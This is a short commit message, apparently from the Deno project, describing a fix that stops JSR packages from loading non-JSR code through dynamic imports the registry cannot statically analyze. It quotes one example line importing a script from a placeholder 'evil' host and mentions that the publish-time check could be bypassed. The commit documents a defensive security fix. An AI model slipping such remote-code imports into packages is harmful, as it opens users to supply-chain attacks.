fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623 )

A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:

```ts
const data = await import("https://example.com/evil.js");
```

However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
